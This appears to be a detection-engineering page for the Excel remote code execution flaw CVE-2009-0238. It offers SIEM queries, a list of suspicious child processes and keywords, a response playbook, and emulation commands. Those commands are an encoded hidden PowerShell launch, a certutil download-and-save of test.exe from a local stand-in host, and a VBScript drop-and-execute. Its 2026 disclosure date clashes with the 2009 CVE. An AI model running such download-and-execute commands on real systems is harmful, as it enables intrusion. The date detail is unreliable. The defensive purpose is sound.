Microsoft Office Remote Code Execution (CVE-2009-0238)
CVE-2009-0238 is a remote code execution vulnerability in Microsoft Office (addressed in MS09-009) caused by improper handling of specially crafted Excel files, leading to arbitrary code execution in the context of the logged-on user. This vulnerability is listed in the CISA Known Exploited Vulnerabilities catalog and has been actively exploited in the wild via malicious Office documents delivered through phishing campaigns.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Microsoft
- Product
- Office
Weakness (CWE)
Timeline
- Disclosed
- April 14, 2026
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
What is CVE-2009-0238 Microsoft Office Remote Code Execution (CVE-2009-0238)?
Microsoft Office Remote Code Execution (CVE-2009-0238) (CVE-2009-0238) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Microsoft Office Remote Code Execution (CVE-2009-0238), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel DeviceProcessEvents. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
let suspiciousOfficeProcs = dynamic(["cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "regsvr32.exe", "rundll32.exe", "certutil.exe"]);
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName in~ ("excel.exe", "winword.exe", "powerpnt.exe")
| where FileName in~ (suspiciousOfficeProcs)
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessParentFileName
| extend RiskIndicator = case(
ProcessCommandLine contains "-enc" or ProcessCommandLine contains "-encoded", "Encoded Powershell",
ProcessCommandLine contains "DownloadString" or ProcessCommandLine contains "WebClient", "Network Download",
ProcessCommandLine contains "IEX" or ProcessCommandLine contains "Invoke-Expression", "In-Memory Execution",
"Suspicious Child Process"
)
| order by TimeGenerated desc Detects Microsoft Office applications (Excel, Word, PowerPoint) spawning suspicious child processes indicative of CVE-2009-0238 exploitation, where a malicious document triggers code execution via a spawned shell or interpreter.
Data Sources
Required Tables
False Positives
- Legitimate macros in trusted documents that spawn command-line tools for business automation
- IT administration scripts triggered from Office-integrated tooling
- Developers running build or test scripts from within Excel or Word templates
Sigma rule & cross-platform mapping
The detection logic for Microsoft Office Remote Code Execution (CVE-2009-0238) (CVE-2009-0238) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2009-0238
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Office Spawning PowerShell Encoded Command
Expected signal: Sysmon Event ID 1 showing EXCEL.EXE as parent process of powershell.exe with a -EncodedCommand argument; DeviceProcessEvents in MDE capturing the parent-child chain
- Test 2Office Spawning CMD with Network Download
Expected signal: Sysmon Event ID 1 for cmd.exe and certutil.exe processes; Sysmon Event ID 3 (Network Connect) from certutil.exe to 127.0.0.1:8888; Sysmon Event ID 11 for test_artifact.exe creation in TEMP
- Test 3Malicious Excel File Macro Execution Simulation via WScript
Expected signal: Sysmon Event ID 11 for sim_payload.vbs creation; Sysmon Event ID 1 for wscript.exe and subsequently calc.exe process creation; parent chain visible in EDR
Response Playbook
Triage
- Identify the affected host and user account; pull the process tree for the Office application that spawned the suspicious child process to confirm parent-child relationship.
- Retrieve the original Office document that was opened: check recent files, email attachments, and download history. Hash the file and submit to VirusTotal or an internal sandbox.
- Determine if the child process made any outbound network connections (C2 beaconing), wrote new files to disk, modified registry run keys, or performed credential access actions.
- Check the patch level of Microsoft Office on the affected endpoint to confirm whether MS09-009 has been applied; query EDR for Office version telemetry.
Containment
- Isolate the affected endpoint from the network immediately via EDR network containment or VLAN quarantine to prevent lateral movement or data exfiltration.
- Revoke active sessions and force password reset for the impacted user account, particularly if credential access tools (e.g., Mimikatz, LSASS dumps) were detected in the child process chain.
Evidence Collection
- Collect a memory image of the affected system prior to remediation to capture in-memory shellcode or injected payloads that may not survive a reboot.
- Preserve the malicious Office document, all child process command-line arguments, spawned file artifacts, and relevant Windows Event Logs (4688, Sysmon 1, 3, 11) into your case management system.
Escalation Criteria
- ! Escalate immediately if the child process established an outbound connection to an external IP, indicating successful C2 channel establishment post-exploitation.
- ! Escalate if the compromised user account has privileged access (Domain Admin, service account) or if lateral movement to additional hosts is detected within 30 minutes of the initial alert.
Investigation Guide
Forensic Artifacts
- >
Prefetch file for EXCEL.EXE or WINWORD.EXE with an anomalously recent last-execution timestamp relative to the alert time - >
Recent documents list in HKCU\Software\Microsoft\Office\<version>\Excel\Recent File List or equivalent Word registry key pointing to the malicious file - >
Sysmon Event ID 11 (File Create) entries showing new executables or scripts written by the Office process to %TEMP%, %APPDATA%, or other user-writable paths - >
Windows Event ID 4688 or Sysmon Event ID 1 capturing the full command line of the spawned child process
Tuning Guidance
Start by scoping the detection to endpoints that have not yet applied MS09-009 or that are running legacy Office versions. Whitelist known-good macro automation hosts (e.g., scheduled reporting servers) by device name or hostname prefix. If LOLBin child processes are common in your environment due to legitimate automation, add a secondary filter on CommandLine to require the presence of encoded payloads (-enc), network download keywords (DownloadString, WebClient), or known C2 patterns before alerting. Adjust the lookback window from 7 days to 24 hours for high-noise environments and rely on tuned confidence thresholds rather than broadening exclusions.
Hunting Queries
Threat hunt for Office applications writing executable or script files to user-writable directories, indicative of a dropped payload following CVE-2009-0238 exploitation.
DeviceFileEvents
| where TimeGenerated >= ago(14d)
| where InitiatingProcessFileName in~ ("excel.exe", "winword.exe", "powerpnt.exe")
| where FolderPath has_any (@"\AppData\Roaming", @"\AppData\Local\Temp", @"\Users\Public")
| where FileName endswith ".exe" or FileName endswith ".dll" or FileName endswith ".ps1" or FileName endswith ".vbs"
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, FolderPath, SHA256 index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
| where match(lower(Image), "excel\.exe|winword\.exe|powerpnt\.exe")
| where match(lower(TargetFilename), "\.exe$|\.dll$|\.ps1$|\.vbs$")
| where match(lower(TargetFilename), "appdata|temp|public")
| table _time, host, user, Image, TargetFilename
| sort -_time Atomic Red Team Tests
Simulates CVE-2009-0238 post-exploitation by launching Excel, which in turn runs a PowerShell encoded command via a macro, mimicking the shellcode -> script execution chain.
Command
powershell.exe -Command "Start-Process 'C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE' -ArgumentList '/e'; Start-Sleep 3; Start-Process powershell.exe -ArgumentList '-EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA==' -WindowStyle Hidden" Cleanup
Stop-Process -Name powershell -Force -ErrorAction SilentlyContinue; Stop-Process -Name EXCEL -Force -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 1 showing EXCEL.EXE as parent process of powershell.exe with a -EncodedCommand argument; DeviceProcessEvents in MDE capturing the parent-child chain
Expected Detection
KQL and SPL queries trigger on EXCEL.EXE -> powershell.exe parent-child relationship with EncodedCommand flag
Emulates the exploitation pattern where a malicious Office macro drops to cmd.exe and attempts a certutil-based file download, a common post-exploitation technique following Office RCE.
Command
cmd.exe /c "start /b cmd.exe /c certutil.exe -urlcache -split -f http://127.0.0.1:8888/test.exe %TEMP%\test_artifact.exe" Cleanup
del /f /q %TEMP%\test_artifact.exe 2>nul Expected Telemetry
Sysmon Event ID 1 for cmd.exe and certutil.exe processes; Sysmon Event ID 3 (Network Connect) from certutil.exe to 127.0.0.1:8888; Sysmon Event ID 11 for test_artifact.exe creation in TEMP
Expected Detection
Detection fires on certutil.exe spawned in Office parent context; network download indicator enriches alert severity
Simulates a weaponised Excel file that executes a VBScript via WScript.exe as a child process, a technique used in CVE-2009-0238 exploit chains to achieve persistence or download stages.
Command
cmd.exe /c "echo Set oShell = CreateObject(""WScript.Shell"") > %TEMP%\sim_payload.vbs && echo oShell.Run ""calc.exe"", 0, False >> %TEMP%\sim_payload.vbs && wscript.exe %TEMP%\sim_payload.vbs" Cleanup
del /f /q %TEMP%\sim_payload.vbs 2>nul; Stop-Process -Name calc -Force -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 11 for sim_payload.vbs creation; Sysmon Event ID 1 for wscript.exe and subsequently calc.exe process creation; parent chain visible in EDR
Expected Detection
Detection captures wscript.exe spawned in Office parent context; VBScript drop-and-execute pattern aligns with documented CVE-2009-0238 attack chains